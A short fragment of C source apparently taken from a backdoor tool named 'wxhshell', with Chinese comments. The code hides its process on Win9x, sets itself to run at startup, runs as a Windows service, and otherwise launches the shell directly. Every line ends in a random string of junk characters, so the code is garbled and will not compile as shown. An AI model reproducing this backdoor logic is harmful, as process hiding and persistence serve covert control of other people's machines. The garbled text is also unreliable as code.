// 如果时win9x，隐藏进程并且设置为注册表启动 .IrNa>J~
HideProc(); Xq#Y*lKVD
StartWxhshell(lpCmdLine); z%d#@w0X1
} M4f;/`w
else |i%2%V#
if(StartFromService()) S/A1RUt
// 以服务方式启动 s95F#>dr
StartServiceCtrlDispatcher(DispatchTable); ]/2T\w.<
else -yH,5vD
// 普通方式启动 ;/O#4]2*
StartWxhshell(lpCmdLine); `FF8ie8L
QV|>4^1D
return 0; m]Y;c_DO:
}